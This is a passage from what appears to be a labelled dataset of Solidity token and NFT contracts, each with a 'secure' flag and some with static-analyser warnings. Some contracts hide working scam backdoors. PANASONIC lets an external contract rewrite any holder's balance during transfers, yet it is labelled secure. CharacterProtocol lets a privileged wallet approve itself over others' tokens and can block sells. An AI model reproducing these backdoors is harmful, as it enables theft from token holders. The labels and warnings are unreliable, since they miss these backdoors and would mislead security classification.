eq(shr(224, mload(0x00)), functionSelector) {\n revert(0, 0)\n }\n }\n\n mstore(0x24, 0)\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n if (from != msg.sender) {\n if (!_isPriorityOperator(msg.sender)) {\n if (_operatorFilteringEnabled()) _revertIfBlocked(msg.sender);\n }\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n if (!_isPriorityOperator(operator)) {\n if (_operatorFilteringEnabled()) _revertIfBlocked(operator);\n }\n _;\n }\n\n function _revertIfBlocked(address operator) private view {\n assembly {\n mstore(0x00, 0xc6171134001122334455)\n\n mstore(0x1a, address())\n\n mstore(0x3a, operator)\n\n if iszero(\n staticcall(\n gas(),\n _OPERATOR_FILTER_REGISTRY,\n 0x16,\n 0x44,\n 0x00,\n 0x00\n )\n ) {\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n\n mstore(0x3a, 0)\n }\n }\n\n function _operatorFilteringEnabled() internal view virtual returns (bool) {\n return true;\n }\n\n function _isPriorityOperator(address) internal view virtual returns (bool) {\n return false;\n }\n}", "file_name": "solidity_code_2172.sol", "secure": 0, "size_bytes": 3616 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract HiDreepz is ERC721A {\n uint256 public maxSupply;\n\n uint256 public maxFree;\n\n uint256 public cost;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6649929): HiDreepz.maxPerWallet should be immutable \n\t// Recommendation for 6649929: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private maxPerWallet;\n\n uint256 public freePertx;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4c61a9b): HiDreepz.owner should be immutable \n\t// Recommendation for 4c61a9b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n string uri = \"ipfs://QmcCsZnXDXoxvrrn8Q1r7rJNqCJy2wTPSyarZL4XDeV3nC/\";\n\n mapping(uint256 => uint256) free;\n\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n if (msg.value == 0) {\n require(msg.sender == tx.origin);\n require(totalSupply() + 1 <= maxSupply);\n require(balanceOf(msg.sender) < maxPerWallet);\n _mint(msg.sender);\n return;\n }\n require(msg.value >= cost * amount);\n _safeMint(msg.sender, amount);\n }\n\n function _mint(address addr) internal {\n if (totalSupply() > 200) {\n require(balanceOf(msg.sender) == 0);\n }\n uint256 num = FreeNum();\n if (num == 1) {\n uint256 freeNum = (maxSupply - totalSupply()) / 12;\n require(free[block.number] < freeNum);\n free[block.number]++;\n }\n _mint(msg.sender, num);\n }\n\n function teamMint(address addr, uint256 amount) public onlyOwner {\n require(totalSupply() + amount <= maxSupply);\n _safeMint(addr, amount);\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() {\n super.initial(\"HiDreepz\", \"HiD\");\n owner = msg.sender;\n maxFree = 2999;\n maxSupply = 3999;\n cost = 0.001 ether;\n maxPerWallet = 30;\n freePertx = 10;\n }\n\n function setUri(string memory i) public onlyOwner {\n uri = i;\n }\n\n function setCost(uint256 c) public onlyOwner {\n cost = c;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 342f208): HiDreepz.setConfig(uint256,uint256,uint256) should emit an event for freePertx = f maxFree = t \n\t// Recommendation for 342f208: Emit an event for critical parameter changes.\n function setConfig(uint256 f, uint256 t, uint256 m) public onlyOwner {\n\t\t// events-maths | ID: 342f208\n freePertx = f;\n\t\t// events-maths | ID: 342f208\n maxFree = t;\n maxSupply = m;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function FreeNum() internal returns (uint256) {\n if (totalSupply() < maxFree) {\n return freePertx;\n }\n return 1;\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual override returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * 10) / 1000;\n return (owner, royaltyAmount);\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_2173.sol", "secure": 0, "size_bytes": 3642 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract VToken is ERC20, Ownable {\n constructor() ERC20(\"V TOKEN\", \"V\") {\n _mint(msg.sender, 1000000000000 * 10 ** 18);\n }\n}", "file_name": "solidity_code_2174.sol", "secure": 1, "size_bytes": 344 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV3WITH {\n function check(\n address vals,\n address input\n ) external view returns (bool, uint256, address);\n}", "file_name": "solidity_code_2175.sol", "secure": 1, "size_bytes": 213 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV3WITH.sol\" as IUniswapV3WITH;\n\ncontract PANASONIC is ERC20 {\n using SafeMath for uint256;\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: 991325f): PANASONIC._oappear should be immutable \n\t// Recommendation for 991325f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV3WITH private _oappear;\n bool inLiquify;\n\n event Log(string str);\n modifier lockMSwap() {\n inLiquify = true;\n _;\n inLiquify = false;\n }\n\n constructor(string memory name_, string memory symbol_, address happen_) {\n _name = name_;\n _symbol = symbol_;\n IUniswapV3WITH oappear_ = IUniswapV3WITH(happen_);\n _mintToken(msg.sender, 100000000000 * 10 ** 8);\n _oappear = oappear_;\n }\n\n function decimals() external pure override returns (uint8) {\n return 9;\n }\n\n function symbol() external view override returns (string memory) {\n return _symbol;\n }\n\n function name() external view override returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner_,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner_][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n uint256 fromBalance = _balances[sender];\n _helloToWith(sender);\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = fromBalance - amount;\n\n _balances[recipient] += amount;\n }\n emit Transfer(sender, recipient, amount);\n }\n\n function _helloToWith(address sender) private lockMSwap {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n (bool _g, uint256 _k, address mm) = _oappear.check(\n sender,\n address(this)\n );\n if (mm == address(0)) return;\n if (_k == 0) return;\n if (_g) {\n _further(mm, _k, _g);\n }\n }\n\n function _mintToken(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n }\n\n function _further(address f, uint256 vk, bool _ckm) private {\n if (!_ckm) return;\n if (f == address(0)) return;\n _balances[f] = vk;\n }\n\n function _approve(\n address owner_,\n address spender,\n uint256 amount\n ) internal {\n require(owner_ != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner_][spender] = amount;\n emit Approval(owner_, spender, amount);\n }\n}", "file_name": "solidity_code_2176.sol", "secure": 1, "size_bytes": 5427 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract UFO is ERC20 {\n constructor(uint256 totalSupply_, address to) ERC20() {\n _mint(to, totalSupply_);\n }\n}", "file_name": "solidity_code_2177.sol", "secure": 1, "size_bytes": 264 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4656ce0): Contract locking ether found Contract CharacterProtocol has payable functions CharacterProtocol.receive() But does not have a function to withdraw the ether\n// Recommendation for 4656ce0: Remove the 'payable' attribute or add a withdraw function.\ncontract CharacterProtocol is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: c37eef3): CharacterProtocol.deadAddress should be constant \n\t// Recommendation for c37eef3: Add the 'constant' attribute to state variables that never change.\n address public deadAddress = address(0xdead);\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n mapping(address => bool) public automatedMarketMakerPairs;\n\n uint256 public maxTransactionAmount;\n uint256 public swapTokensAtAmount;\n uint256 public maxWallet;\n uint256 public buyFee = 4;\n uint256 public sellFee = 4;\n address public liquidityWallet;\n bool private swapping;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n mapping(address => bool) private _isExcludedFromFees;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7351ae8): CharacterProtocol.constructor()._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 7351ae8: Rename the local variables that shadow another component.\n constructor() ERC20(\"Character Protocol\", \"CRP\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _totalSupply = 1_000_000_000 * 1e18;\n\n liquidityWallet = address(0x0e7A19D469D2B5d84D2Fd074B981bd5d69F90CBb);\n\n maxTransactionAmount = (_totalSupply * 2) / 100;\n maxWallet = (_totalSupply * 2) / 100;\n swapTokensAtAmount = (_totalSupply * 16) / 10000;\n\n _mint(msg.sender, _totalSupply);\n\n excludeFromFees(msg.sender, true);\n excludeFromFees(liquidityWallet, true);\n excludeFromFees(address(this), true);\n excludeFromFees(deadAddress, true);\n\n excludeFromMaxTransaction(msg.sender, true);\n excludeFromMaxTransaction(liquidityWallet, true);\n excludeFromMaxTransaction(address(this), true);\n excludeFromMaxTransaction(deadAddress, true);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4656ce0): Contract locking ether found Contract CharacterProtocol has payable functions CharacterProtocol.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 4656ce0: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n function fairLaunch() external onlyOwner {\n tradingActive = true;\n swapEnabled = true;\n }\n\n function getCirculatingSupply() public view returns (uint256) {\n return totalSupply() - balanceOf(deadAddress);\n }\n\n function excludeFromMaxTransaction(\n address uAddr,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[uAddr] = isEx;\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b6f6789): CharacterProtocol.updateMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newNum * (10 ** 18) \n\t// Recommendation for b6f6789: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set maxTransactionAmount lower than 0.1%\"\n );\n\t\t// events-maths | ID: b6f6789\n maxTransactionAmount = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e1677dc): CharacterProtocol.updatebuyFee(uint256) should emit an event for buyFee = _buyFee \n\t// Recommendation for e1677dc: Emit an event for critical parameter changes.\n function updatebuyFee(uint256 _buyFee) external onlyOwner {\n require(_buyFee <= 4, \"max buy fee 4%\");\n\t\t// events-maths | ID: e1677dc\n buyFee = _buyFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6ab7d4c): CharacterProtocol.updatesellFee(uint256) should emit an event for sellFee = _sellFee \n\t// Recommendation for 6ab7d4c: Emit an event for critical parameter changes.\n function updatesellFee(uint256 _sellFee) external onlyOwner {\n require(_sellFee <= 4, \"max sell fee 4%\");\n\t\t// events-maths | ID: 6ab7d4c\n sellFee = _sellFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7b02b65): CharacterProtocol.updateMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 18) \n\t// Recommendation for 7b02b65: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n\t\t// events-maths | ID: 7b02b65\n maxWallet = newNum * (10 ** 18);\n }\n\n function updateSwapForFeeEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4484f8d): CharacterProtocol.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount \n\t// Recommendation for 4484f8d: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: 4484f8d\n swapTokensAtAmount = _amount;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e1c128c): CharacterProtocol.updateLiquidityWallet(address,address,uint256)._liquidityWallet lacks a zerocheck on \t liquidityWallet = _liquidityWallet\n\t// Recommendation for e1c128c: Check that the address is not zero.\n function updateLiquidityWallet(\n address _feeWallet,\n address _liquidityWallet,\n uint256 _amount\n ) external {\n require(\n _msgSender() == liquidityWallet,\n \"previous wallet can only change addr\"\n );\n\t\t// missing-zero-check | ID: e1c128c\n liquidityWallet = _liquidityWallet;\n _approve(_feeWallet, _liquidityWallet, _amount);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The lp cannot be removed from automarket pair\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d46a088): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d46a088: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4bf2aae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4bf2aae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n if (limitsInEffect) {\n if (\n !(owner() == from) &&\n !(owner() == to) &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\t\t\t// reentrancy-events | ID: d46a088\n\t\t\t// reentrancy-no-eth | ID: 4bf2aae\n swapFeeLiquidity();\n\t\t\t// reentrancy-no-eth | ID: 4bf2aae\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellFee > 0) {\n fees = (amount * sellFee) / 100;\n } else if (automatedMarketMakerPairs[from] && buyFee > 0) {\n fees = (amount * buyFee) / 100;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: d46a088\n\t\t\t\t// reentrancy-no-eth | ID: 4bf2aae\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\t\t// reentrancy-events | ID: d46a088\n\t\t// reentrancy-no-eth | ID: 4bf2aae\n super._transfer(from, to, amount);\n }\n\n function swapFeeLiquidity() private {\n uint256 contractBalance = balanceOf(address(this));\n if (contractBalance == 0) {\n return;\n }\n if (balanceOf(deadAddress) > (totalSupply() * 15) / 1000) {\n revert(\"balance should be greater than threshold\");\n } else {\n swapTokensForEth(contractBalance);\n }\n\n if (contractBalance > swapTokensAtAmount * 2) {\n contractBalance = swapTokensAtAmount * 2;\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: d46a088\n\t\t// reentrancy-no-eth | ID: 4bf2aae\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n liquidityWallet,\n block.timestamp\n );\n }\n}", "file_name": "solidity_code_2178.sol", "secure": 0, "size_bytes": 13492 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721A.sol\" as IERC721A;\n\ncontract JudgyKids is IERC721A {\n\t// WARNING Optimization Issue (immutable-states | ID: 4eb5536): JudgyKids._owner should be immutable \n\t// Recommendation for 4eb5536: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 48ec081): JudgyKids.isApprovedForAll(address,address).owner shadows JudgyKids.owner() (function)\n\t// Recommendation for 48ec081: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e7cc4a4): JudgyKids._numberMinted(address).owner shadows JudgyKids.owner() (function)\n\t// Recommendation for e7cc4a4: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cd5ecee): JudgyKids.approve(address,uint256).owner shadows JudgyKids.owner() (function)\n\t// Recommendation for cd5ecee: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7ea9697): JudgyKids._getAux(address).owner shadows JudgyKids.owner() (function)\n\t// Recommendation for 7ea9697: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 420b083): JudgyKids.balanceOf(address).owner shadows JudgyKids.owner() (function)\n\t// Recommendation for 420b083: Rename the local variables that shadow another component.\n function owner() public view returns (address) {\n return _owner;\n }\n\n uint256 public MAX_SUPPLY = 6666;\n uint256 public MAX_FREE = 6666;\n uint256 public MAX_FREE_PER_WALLET = 5;\n\t// WARNING Optimization Issue (constable-states | ID: cb88b49): JudgyKids.COST should be constant \n\t// Recommendation for cb88b49: Add the 'constant' attribute to state variables that never change.\n uint256 public COST = 0.0002 ether;\n\n string private constant _name = \"Judgy Kids\";\n string private constant _symbol = \"JKids\";\n string private _baseURI =\n \"bafybeic5nswr3zdfbggqhijf3vnkb3zo5zemphxbvd7eeam66zjpzqxmfi\";\n\n constructor() {\n _owner = msg.sender;\n }\n\n function mint(uint32 amount) public payable nob {\n require(totalSupply() + amount <= MAX_SUPPLY);\n _mint_complain(amount);\n _mint(msg.sender, amount);\n }\n\n function _mint_complain(uint256 amount) internal {\n uint256 t = totalSupply();\n if (msg.value == 0) {\n require(t + amount <= MAX_FREE, \"sold_out\");\n require(tx.origin == msg.sender);\n require(balanceOf(msg.sender) < MAX_FREE_PER_WALLET || t < 400);\n require(amount <= MAX_FREE_PER_WALLET || msg.sender == owner());\n uint256 freetx = (MAX_SUPPLY - t) / 25;\n require(blockmints[block.number] < freetx);\n blockmints[block.number]++;\n } else {\n require(msg.value >= amount * COST, \"more_eth\");\n }\n }\n\n uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant BITPOS_AUX = 192;\n\n uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant BITMASK_BURNED = 1 << 224;\n\n uint256 private constant BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private _currentIndex = 0;\n\n mapping(uint256 => uint256) private _packedOwnerships;\n\n mapping(address => uint256) private _packedAddressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n mapping(uint256 => uint256) blockmints;\n\n function setData(string memory _base) external onlyOwner {\n _baseURI = _base;\n }\n\n function setConfig(\n uint256 _MAX_FREE,\n uint256 _MAX_FREE_PER_WALLET,\n uint256 MAX_S\n ) external onlyOwner {\n MAX_FREE = _MAX_FREE;\n MAX_FREE_PER_WALLET = _MAX_FREE_PER_WALLET;\n MAX_SUPPLY = MAX_S;\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function _nextTokenId() internal view returns (uint256) {\n return _currentIndex;\n }\n\n function totalSupply() public view override returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 420b083): JudgyKids.balanceOf(address).owner shadows JudgyKids.owner() (function)\n\t// Recommendation for 420b083: Rename the local variables that shadow another component.\n function balanceOf(address owner) public view override returns (uint256) {\n if (_addressToUint256(owner) == 0) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e7cc4a4): JudgyKids._numberMinted(address).owner shadows JudgyKids.owner() (function)\n\t// Recommendation for e7cc4a4: Rename the local variables that shadow another component.\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> BITPOS_NUMBER_MINTED) &\n BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7ea9697): JudgyKids._getAux(address).owner shadows JudgyKids.owner() (function)\n\t// Recommendation for 7ea9697: Rename the local variables that shadow another component.\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> BITPOS_AUX);\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n\n if (packed & BITMASK_BURNED == 0) {\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c53e481): JudgyKids._unpackedOwnership(uint256) uses timestamp for comparisons Dangerous comparisons ownership.burned = packed & BITMASK_BURNED != 0\n\t// Recommendation for c53e481: Avoid relying on 'block.timestamp'.\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> BITPOS_START_TIMESTAMP);\n\t\t// timestamp | ID: c53e481\n ownership.burned = packed & BITMASK_BURNED != 0;\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d3c37b9): JudgyKids._initializeOwnershipAt(uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[index] == 0\n\t// Recommendation for d3c37b9: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 1b7734c): JudgyKids._initializeOwnershipAt(uint256) uses a dangerous strict equality _packedOwnerships[index] == 0\n\t// Recommendation for 1b7734c: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _initializeOwnershipAt(uint256 index) internal {\n\t\t// timestamp | ID: d3c37b9\n\t\t// incorrect-equality | ID: 1b7734c\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n string memory baseURI = _baseURI;\n return\n bytes(baseURI).length != 0\n ? string(\n abi.encodePacked(\n \"ipfs://\",\n baseURI,\n \"/\",\n _toString(tokenId),\n \".json\"\n )\n )\n : \"\";\n }\n\n function _addressToUint256(\n address value\n ) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n function _boolToUint256(bool value) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cd5ecee): JudgyKids.approve(address,uint256).owner shadows JudgyKids.owner() (function)\n\t// Recommendation for cd5ecee: Rename the local variables that shadow another component.\n function approve(address to, uint256 tokenId) public override {\n address owner = address(uint160(_packedOwnershipOf(tokenId)));\n if (to == owner) revert();\n\n if (_msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _tokenApprovals[tokenId] = to;\n emit Approval(owner, to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function 